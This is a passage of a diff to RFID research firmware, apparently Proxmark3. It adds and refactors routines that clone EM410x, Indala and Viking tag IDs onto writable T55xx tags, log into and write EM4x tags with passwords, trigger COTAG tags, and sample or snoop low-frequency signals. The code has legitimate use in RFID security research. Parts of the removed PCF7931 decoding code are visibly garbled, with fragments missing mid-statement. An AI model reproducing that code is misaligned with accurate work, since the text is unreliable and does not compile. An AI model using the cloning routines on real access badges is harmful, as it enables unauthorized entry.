T5555_MAXBLOCK_SHIFT; + WriteT55xx(data, 0, 8); + //Alternative config for Indala (Extended mode;RF/32;PSK2 with RF/2;Maxblock=7;Inverse data) + // T5567WriteBlock(0x603E10E2,0); +} +// clone viking tag to T55xx +void CopyVikingtoT55xx(uint32_t block1, uint32_t block2, uint8_t Q5) { + uint32_t data[] = {T55x7_BITRATE_RF_32 | T55x7_MODULATION_MANCHESTER | (2 << T55x7_MAXBLOCK_SHIFT), block1, block2}; + if (Q5) data[0] = T5555_SET_BITRATE(32) | T5555_MODULATION_MANCHESTER | 2 << T5555_MAXBLOCK_SHIFT; + // Program the data blocks for supplied ID and the block 0 config + WriteT55xx(data, 0, 3); + LED_D_OFF(); + cmd_send(CMD_ACK,0,0,0,0,0); } // Define 9bit header for EM410x tags #define EM410X_HEADER 0x1FF #define EM410X_ID_LENGTH 40 -void WriteEM410x(uint32_t card, uint32_t id_hi, uint32_t id_lo) -{ +void WriteEM410x(uint32_t card, uint32_t id_hi, uint32_t id_lo) { int i, id_bit; uint64_t id = EM410X_HEADER; uint64_t rev_id = 0; // reversed ID @@ -1530,364 +1625,41 @@ void WriteEM410x(uint32_t card, uint32_t id_hi, uint32_t id_lo) LED_D_ON(); // Write EM410x ID - T55xxWriteBlock((uint32_t)(id >> 32), 1, 0, 0); - T55xxWriteBlock((uint32_t)id, 2, 0, 0); + uint32_t data[] = {0, (uint32_t)(id>>32), (uint32_t)(id & 0xFFFFFFFF)}; - // Config for EM410x (RF/64, Manchester, Maxblock=2) - if (card) { - // Clock rate is stored in bits 8-15 of the card value - clock = (card & 0xFF00) >> 8; - Dbprintf("Clock rate: %d", clock); - switch (clock) - { - case 32: - clock = T55x7_BITRATE_RF_32; - break; - case 16: - clock = T55x7_BITRATE_RF_16; - break; - case 0: - // A value of 0 is assumed to be 64 for backwards-compatibility - // Fall through... - case 64: - clock = T55x7_BITRATE_RF_64; - break; - default: - Dbprintf("Invalid clock rate: %d", clock); - return; + clock = (card & 0xFF00) >> 8; + clock = (clock == 0) ? 64 : clock; + Dbprintf("Clock rate: %d", clock); + if (card & 0xFF) { //t55x7 + clock = GetT55xxClockBit(clock); + if (clock == 0) { + Dbprintf("Invalid clock rate: %d", clock); + return; } - - // Writing configuration for T55x7 tag - T55xxWriteBlock(clock | - T55x7_MODULATION_MANCHESTER | - 2 << T55x7_MAXBLOCK_SHIFT, - 0, 0, 0); - } - else - // Writing configuration for T5555(Q5) tag - T55xxWriteBlock(0x1F << T5555_BITRATE_SHIFT | - T5555_MODULATION_MANCHESTER | - 2 << T5555_MAXBLOCK_SHIFT, - 0, 0, 0); + data[0] = clock | T55x7_MODULATION_MANCHESTER | (2 << T55x7_MAXBLOCK_SHIFT); + } else { //t5555 (Q5) + data[0] = T5555_SET_BITRATE(clock) | T5555_MODULATION_MANCHESTER | (2 << T5555_MAXBLOCK_SHIFT); + } + + WriteT55xx(data, 0, 3); LED_D_OFF(); - Dbprintf("Tag %s written with 0x%08x%08x\n", card ? "T55x7":"T5555", - (uint32_t)(id >> 32), (uint32_t)id); + Dbprintf("Tag %s written with 0x%08x%08x\n", + card ? "T55x7":"T5555", + (uint32_t)(id >> 32), + (uint32_t)id); } -// Clone Indala 64-bit tag by UID to T55x7 -void CopyIndala64toT55x7(int hi, int lo) -{ - - //Program the 2 data blocks for supplied 64bit UID - // and the block 0 for Indala64 format - T55xxWriteBlock(hi,1,0,0); - T55xxWriteBlock(lo,2,0,0); - //Config for Indala (RF/32;PSK1 with RF/2;Maxblock=2) - T55xxWriteBlock(T55x7_BITRATE_RF_32 | - T55x7_MODULATION_PSK1 | - 2 << T55x7_MAXBLOCK_SHIFT, - 0, 0, 0); - //Alternative config for Indala (Extended mode;RF/32;PSK1 with RF/2;Maxblock=2;Inverse data) -// T5567WriteBlock(0x603E1042,0); - - DbpString("DONE!"); - -} - -void CopyIndala224toT55x7(int uid1, int uid2, int uid3, int uid4, int uid5, int uid6, int uid7) -{ - - //Program the 7 data blocks for supplied 224bit UID - // and the block 0 for Indala224 format - T55xxWriteBlock(uid1,1,0,0); - T55xxWriteBlock(uid2,2,0,0); - T55xxWriteBlock(uid3,3,0,0); - T55xxWriteBlock(uid4,4,0,0); - T55xxWriteBlock(uid5,5,0,0); - T55xxWriteBlock(uid6,6,0,0); - T55xxWriteBlock(uid7,7,0,0); - //Config for Indala (RF/32;PSK1 with RF/2;Maxblock=7) - T55xxWriteBlock(T55x7_BITRATE_RF_32 | - T55x7_MODULATION_PSK1 | - 7 << T55x7_MAXBLOCK_SHIFT, - 0,0,0); - //Alternative config for Indala (Extended mode;RF/32;PSK1 with RF/2;Maxblock=7;Inverse data) -// T5567WriteBlock(0x603E10E2,0); - - DbpString("DONE!"); - -} - - -#define abs(x) ( ((x)<0) ? -(x) : (x) ) -#define max(x,y) ( x GraphBuffer[0]) { - while(i < GraphTraceLen) { - if( !(GraphBuffer[i] > GraphBuffer[i-1]) && GraphBuffer[i] > lmax) - break; - i++; - } - dir = 0; - } - else { - while(i < GraphTraceLen) { - if( !(GraphBuffer[i] < GraphBuffer[i-1]) && GraphBuffer[i] < lmin) - break; - i++; - } - dir = 1; - } - - lastval = i++; - half_switch = 0; - pmc = 0; - block_done = 0; - - for (bitidx = 0; i < GraphTraceLen; i++) - { - if ( (GraphBuffer[i-1] > GraphBuffer[i] && dir == 1 && GraphBuffer[i] > lmax) || (GraphBuffer[i-1] < GraphBuffer[i] && dir == 0 && GraphBuffer[i] < lmin)) - { - lc = i - lastval; - lastval = i; - - // Switch depending on lc length: - // Tolerance is 1/8 of clock rate (arbitrary) - if (abs(lc-clock/4) < tolerance) { - // 16T0 - if((i - pmc) == lc) { /* 16T0 was previous one */ - /* It's a PMC ! */ - i += (128+127+16+32+33+16)-1; - lastval = i; - pmc = 0; - block_done = 1; - } - else { - pmc = i; - } - } else if (abs(lc-clock/2) < tolerance) { - // 32TO - if((i - pmc) == lc) { /* 16T0 was previous one */ - /* It's a PMC ! */ - i += (128+127+16+32+33)-1; - lastval = i; - pmc = 0; - block_done = 1; - } - else if(half_switch == 1) { - BitStream[bitidx++] = 0; - half_switch = 0; - } - else - half_switch++; - } else if (abs(lc-clock) < tolerance) { - // 64TO - BitStream[bitidx++] = 1; - } else { - // Error - warnings++; - if (warnings > 10) - { - Dbprintf("Error: too many detection errors, aborting."); - return 0; - } - } - - if(block_done == 1) { - if(bitidx == 128) { - for(j=0; j<16; j++) { - Blocks[num_blocks][j] = 128*BitStream[j*8+7]+ - 64*BitStream[j*8+6]+ - 32*BitStream[j*8+5]+ - 16*BitStream[j*8+4]+ - 8*BitStream[j*8+3]+ - 4*BitStream[j*8+2]+ - 2*BitStream[j*8+1]+ - BitStream[j*8]; - } - num_blocks++; - } - bitidx = 0; - block_done = 0; - half_switch = 0; - } - if (GraphBuffer[i-1] > GraphBuffer[i]) dir=0; - else dir = 1; - } - if(bitidx==255) - bitidx=0; - warnings = 0; - if(num_blocks == 4) break; - } - memcpy(outBlocks, Blocks, 16*num_blocks); - return num_blocks; -} - -int IsBlock0PCF7931(uint8_t *Block) { - // Assume RFU means 0 :) - if((memcmp(Block, "\x00\x00\x00\x00\x00\x00\x00\x01", 8) == 0) && memcmp(Block+9, "\x00\x00\x00\x00\x00\x00\x00", 7) == 0) // PAC enabled - return 1; - if((memcmp(Block+9, "\x00\x00\x00\x00\x00\x00\x00", 7) == 0) && Block[7] == 0) // PAC disabled, can it *really* happen ? - return 1; - return 0; -} - -int IsBlock1PCF7931(uint8_t *Block) { - // Assume RFU means 0 :) - if(Block[10] == 0 && Block[11] == 0 && Block[12] == 0 && Block[13] == 0) - if((Block[14] & 0x7f) <= 9 && Block[15] <= 9) - return 1; - - return 0; -} - -#define ALLOC 16 - -void ReadPCF7931() { - uint8_t Blocks[8][17]; - uint8_t tmpBlocks[4][16]; - int i, j, ind, ind2, n; - int num_blocks = 0; - int max_blocks = 8; - int ident = 0; - int error = 0; - int tries = 0; - - memset(Blocks, 0, 8*17*sizeof(uint8_t)); - - do { - memset(tmpBlocks, 0, 4*16*sizeof(uint8_t)); - n = DemodPCF7931((uint8_t**)tmpBlocks); - if(!n) - error++; - if(error==10 && num_blocks == 0) { - Dbprintf("Error, no tag or bad tag"); - return; - } - else if (tries==20 || error==10) { - Dbprintf("Error reading the tag"); - Dbprintf("Here is the partial content"); - goto end; - } - - for(i=0; i= 0; ind--,ind2--) { - if(ind2 < 0) - ind2 = max_blocks; - if(!Blocks[ind2][ALLOC]) { // Block ind2 not already found - // Dbprintf("Tmp %d -> Block %d", ind, ind2); - memcpy(Blocks[ind2], tmpBlocks[ind], 16); - Blocks[ind2][ALLOC] = 1; - num_blocks++; - if(num_blocks == max_blocks) goto end; - } - } - for(ind=i+1,ind2=j+1; ind < n; ind++,ind2++) { - if(ind2 > max_blocks) - ind2 = 0; - if(!Blocks[ind2][ALLOC]) { // Block ind2 not already found - // Dbprintf("Tmp %d -> Block %d", ind, ind2); - memcpy(Blocks[ind2], tmpBlocks[ind], 16); - Blocks[ind2][ALLOC] = 1; - num_blocks++; - if(num_blocks == max_blocks) goto end; - } - } - } - } - } - } - } - tries++; - if (BUTTON_PRESS()) return; - } while (num_blocks != max_blocks); -end: - Dbprintf("-----------------------------------------"); - Dbprintf("Memory content:"); - Dbprintf("-----------------------------------------"); - for(i=0; i", i); - } - Dbprintf("-----------------------------------------"); - - return ; -} - - //----------------------------------- // EM4469 / EM4305 routines //----------------------------------- -#define FWD_CMD_LOGIN 0xC //including the even parity, binary mirrored -#define FWD_CMD_WRITE 0xA -#define FWD_CMD_READ 0x9 +// Below given command set. +// Commands are including the even parity, binary mirrored +#define FWD_CMD_LOGIN 0xC +#define FWD_CMD_WRITE 0xA +#define FWD_CMD_READ 0x9 #define FWD_CMD_DISABLE 0x5 - uint8_t forwardLink_data[64]; //array of forwarded bits uint8_t * forward_ptr; //ptr for forward message preparation uint8_t fwd_bit_sz; //forwardlink bit counter @@ -1898,84 +1670,85 @@ uint8_t * fwd_write_ptr; //forwardlink bit pointer // see EM4469 spec //==================================================================== //-------------------------------------------------------------------- +// VALUES TAKEN FROM EM4x function: SendForward +// START_GAP = 440; (55*8) cycles at 125Khz (8us = 1cycle) +// WRITE_GAP = 128; (16*8) +// WRITE_1 = 256 32*8; (32*8) + +// These timings work for 4469/4269/4305 (with the 55*8 above) +// WRITE_0 = 23*8 , 9*8 + uint8_t Prepare_Cmd( uint8_t cmd ) { - //-------------------------------------------------------------------- - - *forward_ptr++ = 0; //start bit - *forward_ptr++ = 0; //second pause for 4050 code - - *forward_ptr++ = cmd; - cmd >>= 1; - *forward_ptr++ = cmd; - cmd >>= 1; - *forward_ptr++ = cmd; - cmd >>= 1; - *forward_ptr++ = cmd; - - return 6; //return number of emited bits + + *forward_ptr++ = 0; //start bit + *forward_ptr++ = 0; //second pause for 4050 code + + *forward_ptr++ = cmd; + cmd >>= 1; + *forward_ptr++ = cmd; + cmd >>= 1; + *forward_ptr++ = cmd; + cmd >>= 1; + *forward_ptr++ = cmd; + + return 6; //return number of emited bits } //==================================================================== // prepares address bits // see EM4469 spec //==================================================================== - -//-------------------------------------------------------------------- uint8_t Prepare_Addr( uint8_t addr ) { - //-------------------------------------------------------------------- - - register uint8_t line_parity; - - uint8_t i; - line_parity = 0; - for(i=0;i<6;i++) { - *forward_ptr++ = addr; - line_parity ^= addr; - addr >>= 1; - } - - *forward_ptr++ = (line_parity & 1); - - return 7; //return number of emited bits + + register uint8_t line_parity; + + uint8_t i; + line_parity = 0; + for( i=0; i<6; i++ ) { + *forward_ptr++ = addr; + line_parity ^= addr; + addr >>= 1; + } + + *forward_ptr++ = (line_parity & 1); + + return 7; //return number of emited bits } //==================================================================== // prepares data bits intreleaved with parity bits // see EM4469 spec //==================================================================== - -//-------------------------------------------------------------------- uint8_t Prepare_Data( uint16_t data_low, uint16_t data_hi) { - //-------------------------------------------------------------------- - - register uint8_t line_parity; - register uint8_t column_parity; - register uint8_t i, j; - register uint16_t data; - - data = data_low; - column_parity = 0; - - for(i=0; i<4; i++) { - line_parity = 0; - for(j=0; j<8; j++) { - line_parity ^= data; - column_parity ^= (data & 1) << j; - *forward_ptr++ = data; - data >>= 1; - } - *forward_ptr++ = line_parity; - if(i == 1) - data = data_hi; - } - - for(j=0; j<8; j++) { - *forward_ptr++ = column_parity; - column_parity >>= 1; - } - *forward_ptr = 0; - - return 45; //return number of emited bits + + register uint8_t line_parity; + register uint8_t column_parity; + register uint8_t i, j; + register uint16_t data; + + data = data_low; + column_parity = 0; + + for(i=0; i<4; i++) { + line_parity = 0; + for(j=0; j<8; j++) { + line_parity ^= data; + column_parity ^= (data & 1) << j; + *forward_ptr++ = data; + data >>= 1; + } + *forward_ptr++ = line_parity; + if(i == 1) + data = data_hi; + } + + for(j=0; j<8; j++) { + *forward_ptr++ = column_parity; + column_parity >>= 1; + } + *forward_ptr = 0; + + return 45; //return number of emited bits } //==================================================================== @@ -1984,115 +1757,182 @@ uint8_t Prepare_Data( uint16_t data_low, uint16_t data_hi) { // fwd_bit_count set with number of bits to be sent //==================================================================== void SendForward(uint8_t fwd_bit_count) { - - fwd_write_ptr = forwardLink_data; - fwd_bit_sz = fwd_bit_count; - - LED_D_ON(); - - //Field on - FpgaDownloadAndGo(FPGA_BITSTREAM_LF); - FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 95); //125Khz - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD); - - // Give it a bit of time for the resonant antenna to settle. - // And for the tag to fully power up - SpinDelay(150); - - // force 1st mod pulse (start gap must be longer for 4305) - fwd_bit_sz--; //prepare next bit modulation - fwd_write_ptr++; - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); // field off - SpinDelayUs(55*8); //55 cycles off (8us each)for 4305 - FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 95); //125Khz - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD);//field on - SpinDelayUs(16*8); //16 cycles on (8us each) - - // now start writting - while(fwd_bit_sz-- > 0) { //prepare next bit modulation - if(((*fwd_write_ptr++) & 1) == 1) - SpinDelayUs(32*8); //32 cycles at 125Khz (8us each) - else { - //These timings work for 4469/4269/4305 (with the 55*8 above) - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); // field off - SpinDelayUs(23*8); //16-4 cycles off (8us each) - FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 95); //125Khz - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD);//field on - SpinDelayUs(9*8); //16 cycles on (8us each) - } - } + +// iceman, 21.3us increments for the USclock verification. +// 55FC * 8us == 440us / 21.3 === 20.65 steps. could be too short. Go for 56FC instead +// 32FC * 8us == 256us / 21.3 == 12.018 steps. ok +// 16FC * 8us == 128us / 21.3 == 6.009 steps. ok +#ifndef EM_START_GAP +#define EM_START_GAP 55*8 +#endif + + fwd_write_ptr = forwardLink_data; + fwd_bit_sz = fwd_bit_count; + + // Set up FPGA, 125kHz or 95 divisor + LFSetupFPGAForADC(95, true); + + // force 1st mod pulse (start gap must be longer for 4305) + fwd_bit_sz--; //prepare next bit modulation + fwd_write_ptr++; + + TurnReadLF_off(EM_START_GAP); + TurnReadLFOn(18*8); + + // now start writting with bitbanging the antenna. + while(fwd_bit_sz-- > 0) { //prepare next bit modulation + if(((*fwd_write_ptr++) & 1) == 1) { + WaitUS(32*8); + } else { + TurnReadLF_off(23*8); + TurnReadLFOn(18*8); + } + } } -void EM4xLogin(uint32_t Password) { - - uint8_t fwd_bit_count; - - forward_ptr = forwardLink_data; - fwd_bit_count = Prepare_Cmd( FWD_CMD_LOGIN ); - fwd_bit_count += Prepare_Data( Password&0xFFFF, Password>>16 ); - - SendForward(fwd_bit_count); - - //Wait for command to complete - SpinDelay(20); - +void EM4xLogin(uint32_t pwd) { + uint8_t len; + forward_ptr = forwardLink_data; + len = Prepare_Cmd( FWD_CMD_LOGIN ); + len += Prepare_Data( pwd & 0xFFFF, pwd >> 16 ); + SendForward(len); + //WaitUS(20); // no wait for login command. + // should receive + // 0000 1010 ok. + // 0000 0001 fail } -void EM4xReadWord(uint8_t Address, uint32_t Pwd, uint8_t PwdMode) { - - uint8_t fwd_bit_count; - uint8_t *dest = (uint8_t *)BigBuf; - int m=0, i=0; - - //If password mode do login - if (PwdMode == 1) EM4xLogin(Pwd); - - forward_ptr = forwardLink_data; - fwd_bit_count = Prepare_Cmd( FWD_CMD_READ ); - fwd_bit_count += Prepare_Addr( Address ); - - m = sizeof(BigBuf); - // Clear destination buffer before sending the command - memset(dest, 128, m); - // Connect the A/D to the peak-detected low-frequency path. - SetAdcMuxFor(GPIO_MUXSEL_LOPKD); - // Now set up the SSC to get the ADC samples that are now streaming at us. - FpgaSetupSsc(); - - SendForward(fwd_bit_count); - - // Now do the acquisition - i = 0; - for(;;) { - if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_TXRDY) { - AT91C_BASE_SSC->SSC_THR = 0x43; - } - if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) { - dest[i] = (uint8_t)AT91C_BASE_SSC->SSC_RHR; - i++; - if (i >= m) break; - } - } - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); // field off - LED_D_OFF(); +void EM4xReadWord(uint8_t addr, uint32_t pwd, uint8_t usepwd) { + + LED_A_ON(); + uint8_t len; + + //clear buffer now so it does not interfere with timing later + BigBuf_Clear_ext(false); + + StartTicks(); + /* should we read answer from Logincommand? + * + * should receive + * 0000 1010 ok. + * 0000 0001 fail + **/ + if (usepwd) EM4xLogin(pwd); + + forward_ptr = forwardLink_data; + len = Prepare_Cmd( FWD_CMD_READ ); + len += Prepare_Addr( addr ); + + SendForward(len); + + WaitUS(400); + + DoPartialAcquisition(20, true, 6000, 1000); + + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + cmd_send(CMD_ACK,0,0,0,0,0); + LED_A_OFF(); } -void EM4xWriteWord(uint32_t Data, uint8_t Address, uint32_t Pwd, uint8_t PwdMode) { - - uint8_t fwd_bit_count; - - //If password mode do login - if (PwdMode == 1) EM4xLogin(Pwd); - - forward_ptr = forwardLink_data; - fwd_bit_count = Prepare_Cmd( FWD_CMD_WRITE ); - fwd_bit_count += Prepare_Addr( Address ); - fwd_bit_count += Prepare_Data( Data&0xFFFF, Data>>16 ); - - SendForward(fwd_bit_count); - - //Wait for write to complete - SpinDelay(20); - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); // field off - LED_D_OFF(); +void EM4xWriteWord(uint32_t flag, uint32_t data, uint32_t pwd) { + + LED_A_ON(); + + bool usePwd = (flag & 0xF); + uint8_t addr = (flag >> 8) & 0xFF; + uint8_t len; + + //clear buffer now so it does not interfere with timing later + BigBuf_Clear_ext(false); + StartTicks(); + /* should we read answer from Logincommand? + * + * should receive + * 0000 1010 ok. + * 0000 0001 fail + **/ + if (usePwd) EM4xLogin(pwd); + + forward_ptr = forwardLink_data; + len = Prepare_Cmd( FWD_CMD_WRITE ); + len += Prepare_Addr( addr ); + len += Prepare_Data( data & 0xFFFF, data >> 16 ); + + SendForward(len); + + //Wait 20ms for write to complete? + WaitMS(7); + + //Capture response if one exists + DoPartialAcquisition(20, true, 6000, 1000); + + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + cmd_send(CMD_ACK,0,0,0,0,0); + LED_A_OFF(); } + +/* +Reading a COTAG. + +COTAG needs the reader to send a startsequence and the card has an extreme slow datarate. +because of this, we can "sample" the data signal but we interpreate it to Manchester direct. + +READER START SEQUENCE: +burst 800 us, gap 2.2 msecs +burst 3.6 msecs gap 2.2 msecs +burst 800 us gap 2.2 msecs +pulse 3.6 msecs + +This triggers a COTAG tag to response +*/ +void Cotag(uint32_t arg0) { +#ifndef OFF +# define OFF { FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); WaitUS(2035); } +#endif +#ifndef ON +# define ON(x) { FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD); WaitUS((x)); } +#endif + uint8_t rawsignal = arg0 & 0xF; + + LED_A_ON(); + + // Switching to LF image on FPGA. This might empty BigBuff + FpgaDownloadAndGo(FPGA_BITSTREAM_LF); + + //clear buffer now so it does not interfere with timing later + BigBuf_Clear_ext(false); + + // Set up FPGA, 132kHz to power up the tag + FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 89); + FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD); + + // Connect the A/D to the peak-detected low-frequency path. + SetAdcMuxFor(GPIO_MUXSEL_LOPKD); + + // Now set up the SSC to get the ADC samples that are now streaming at us. + FpgaSetupSsc(); + + // start clock - 1.5ticks is 1us + StartTicks(); + + //send COTAG start pulse + ON(740) OFF + ON(3330) OFF + ON(740) OFF + ON(1000) + + switch(rawsignal) { + case 0: doCotagAcquisition(50000); break; + case 1: doCotagAcquisitionManchester(); break; + case 2: DoAcquisition_config(true, 0); break; + } + + // Turn the field off + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); // field off + cmd_send(CMD_ACK,0,0,0,0,0); + LED_A_OFF(); +} + +/* +* EM4305 support +*/ diff --git a/armsrc/lfsampling.c b/armsrc/lfsampling.c new file mode 100644 index 000000000..972067a72 --- /dev/null +++ b/armsrc/lfsampling.c @@ -0,0 +1,452 @@ +//----------------------------------------------------------------------------- +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// Miscellaneous routines for low frequency sampling. +//----------------------------------------------------------------------------- + +#include "lfsampling.h" + +/* +Default LF config is set to: + decimation = 1 (we keep 1 out of 1 samples) + bits_per_sample = 8 + averaging = YES + divisor = 95 (125khz) + trigger_threshold = 0 + */ +sample_config config = { 1, 8, 1, 95, 0 } ; + +void printConfig() { + Dbprintf("LF Sampling config"); + Dbprintf(" [q] divisor.............%d (%d KHz)", config.divisor, 12000 / (config.divisor+1)); + Dbprintf(" [b] bps.................%d", config.bits_per_sample); + Dbprintf(" [d] decimation..........%d", config.decimation); + Dbprintf(" [a] averaging...........%s", (config.averaging) ? "Yes" : "No"); + Dbprintf(" [t] trigger threshold...%d", config.trigger_threshold); +} + +/** + * Called from the USB-handler to set the sampling configuration + * The sampling config is used for std reading and snooping. + * + * Other functions may read samples and ignore the sampling config, + * such as functions to read the UID from a prox tag or similar. + * + * Values set to '0' implies no change (except for averaging) + * @brief setSamplingConfig + * @param sc + */ +void setSamplingConfig(sample_config *sc) { + if(sc->divisor != 0) config.divisor = sc->divisor; + if(sc->bits_per_sample != 0) config.bits_per_sample = sc->bits_per_sample; + if(sc->trigger_threshold != -1) config.trigger_threshold = sc->trigger_threshold; + + config.decimation = (sc->decimation != 0) ? sc->decimation : 1; + config.averaging = sc->averaging; + if(config.bits_per_sample > 8) config.bits_per_sample = 8; + + printConfig(); +} + +sample_config* getSamplingConfig() { + return &config; +} + +struct BitstreamOut { + uint8_t * buffer; + uint32_t numbits; + uint32_t position; +}; + +/** + * @brief Pushes bit onto the stream + * @param stream + * @param bit + */ +void pushBit( BitstreamOut* stream, uint8_t bit) { + int bytepos = stream->position >> 3; // divide by 8 + int bitpos = stream->position & 7; + *(stream->buffer+bytepos) |= (bit > 0) << (7 - bitpos); + stream->position++; + stream->numbits++; +} + +/** +* Setup the FPGA to listen for samples. This method downloads the FPGA bitstream +* if not already loaded, sets divisor and starts up the antenna. +* @param divisor : 1, 88> 255 or negative ==> 134.8 KHz +* 0 or 95 ==> 125 KHz +* +**/ +void LFSetupFPGAForADC(int divisor, bool lf_field) { + FpgaDownloadAndGo(FPGA_BITSTREAM_LF); + if ( (divisor == 1) || (divisor < 0) || (divisor > 255) ) + FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 88); //134.8Khz + else if (divisor == 0) + FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 95); //125Khz + else + FpgaSendCommand(FPGA_CMD_SET_DIVISOR, divisor); + + FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | (lf_field ? FPGA_LF_ADC_READER_FIELD : 0)); + + // Connect the A/D to the peak-detected low-frequency path. + SetAdcMuxFor(GPIO_MUXSEL_LOPKD); + // 50ms for the resonant antenna to settle. + SpinDelay(50); + // Now set up the SSC to get the ADC samples that are now streaming at us. + FpgaSetupSsc(); + // start a 1.5ticks is 1us + StartTicks(); +} + +/** + * Does the sample acquisition. If threshold is specified, the actual sampling + * is not commenced until the threshold has been reached. + * This method implements decimation and quantization in order to + * be able to provide longer sample traces. + * Uses the following global settings: + * @param decimation - how much should the signal be decimated. A decimation of N means we keep 1 in N samples, etc. + * @param bits_per_sample - bits per sample. Max 8, min 1 bit per sample. + * @param averaging If set to true, decimation will use averaging, so that if e.g. decimation is 3, the sample + * value that will be used is the average value of the three samples. + * @param trigger_threshold - a threshold. The sampling won't commence until this threshold has been reached. Set + * to -1 to ignore threshold. + * @param silent - is true, now outputs are made. If false, dbprints the status + * @return the number of bits occupied by the samples. + */ +uint32_t DoAcquisition(uint8_t decimation, uint32_t bits_per_sample, bool averaging, int trigger_threshold, bool silent, int bufsize, uint32_t cancel_after) { + //bigbuf, to hold the aquired raw data signal + uint8_t *dest = BigBuf_get_addr(); + bufsize = (bufsize > 0 && bufsize < BigBuf_max_traceLen()) ? bufsize : BigBuf_max_traceLen(); + + + if (bits_per_sample < 1) bits_per_sample = 1; + if (bits_per_sample > 8) bits_per_sample = 8; + + if (decimation < 1) decimation = 1; + + // Use a bit stream to handle the output + BitstreamOut data = { dest , 0, 0}; + int sample_counter = 0; + uint8_t sample = 0; + //If we want to do averaging + uint32_t sample_sum =0 ; + uint32_t sample_total_numbers = 0; + uint32_t sample_total_saved = 0; + uint32_t cancel_counter = 0; + + while (!BUTTON_PRESS() && !usb_poll_validate_length() ) { + WDT_HIT(); + if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_TXRDY) { + AT91C_BASE_SSC->SSC_THR = 0x43; + LED_D_ON(); + } + if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) { + sample = (uint8_t)AT91C_BASE_SSC->SSC_RHR; + LED_D_OFF(); + // threshold either high or low values 128 = center 0. if trigger = 178 + if ((trigger_threshold > 0) && (sample < (trigger_threshold + 128)) && (sample > (128 - trigger_threshold))) { + if (cancel_after > 0) { + cancel_counter++; + if (cancel_after == cancel_counter) + break; + } + continue; + } + + trigger_threshold = 0; + sample_total_numbers++; + + if (averaging) + sample_sum += sample; + + //Check decimation + if (decimation > 1) { + sample_counter++; + if (sample_counter < decimation) continue; + sample_counter = 0; + } + + //Averaging + if (averaging && decimation > 1) { + sample = sample_sum / decimation; + sample_sum =0; + } + + //Store the sample + sample_total_saved ++; + if (bits_per_sample == 8){ + dest[sample_total_saved-1] = sample; + data.numbits = sample_total_saved << 3;//Get the return value correct + if (sample_total_saved >= bufsize) break; + + } else { + pushBit(&data, sample & 0x80); + if (bits_per_sample > 1) pushBit(&data, sample & 0x40); + if (bits_per_sample > 2) pushBit(&data, sample & 0x20); + if (bits_per_sample > 3) pushBit(&data, sample & 0x10); + if (bits_per_sample > 4) pushBit(&data, sample & 0x08); + if (bits_per_sample > 5) pushBit(&data, sample & 0x04); + if (bits_per_sample > 6) pushBit(&data, sample & 0x02); + //Not needed, 8bps is covered above + //if (bits_per_sample > 7) pushBit(&data, sample & 0x01); + if ((data.numbits >> 3) +1 >= bufsize) break; + } + } + } + + if (!silent) { + Dbprintf("Done, saved %d out of %d seen samples at %d bits/sample", sample_total_saved, sample_total_numbers, bits_per_sample); + Dbprintf("buffer samples: %02x %02x %02x %02x %02x %02x %02x %02x ...", + dest[0], dest[1], dest[2], dest[3], dest[4], dest[5], dest[6], dest[7]); + } + return data.numbits; +} +/** + * @brief Does sample acquisition, ignoring the config values set in the sample_config. + * This method is typically used by tag-specific readers who just wants to read the samples + * the normal way + * @param trigger_threshold + * @param silent + * @return number of bits sampled + */ +uint32_t DoAcquisition_default(int trigger_threshold, bool silent) { + return DoAcquisition(1, 8, 0,trigger_threshold, silent, 0, 0); +} +uint32_t DoAcquisition_config( bool silent, int sample_size) { + return DoAcquisition(config.decimation + ,config.bits_per_sample + ,config.averaging + ,config.trigger_threshold + ,silent + ,sample_size + ,0); +} + +uint32_t DoPartialAcquisition(int trigger_threshold, bool silent, int sample_size, uint32_t cancel_after) { + return DoAcquisition(1, 8, 0, trigger_threshold, silent, sample_size, cancel_after); +} + +uint32_t ReadLF(bool activeField, bool silent, int sample_size) { + if (!silent) + printConfig(); + LFSetupFPGAForADC(config.divisor, activeField); + return DoAcquisition_config(silent, sample_size); +} + +/** +* Initializes the FPGA for reader-mode (field on), and acquires the samples. +* @return number of bits sampled +**/ +uint32_t SampleLF(bool printCfg, int sample_size) { + BigBuf_Clear_ext(false); + uint32_t ret = ReadLF(true, printCfg, sample_size); + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + return ret; +} +/** +* Initializes the FPGA for snoop-mode (field off), and acquires the samples. +* @return number of bits sampled +**/ +uint32_t SnoopLF() { + BigBuf_Clear_ext(false); + uint32_t ret = ReadLF(false, true, 0); + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + return ret; +} + +/** +* acquisition of T55x7 LF signal. Similar to other LF, but adjusted with @marshmellows thresholds +* the data is collected in BigBuf. +**/ +void doT55x7Acquisition(size_t sample_size) { + + #define T55xx_READ_UPPER_THRESHOLD 128+60 // 60 grph + #define T55xx_READ_LOWER_THRESHOLD 128-60 // -60 grph + #define 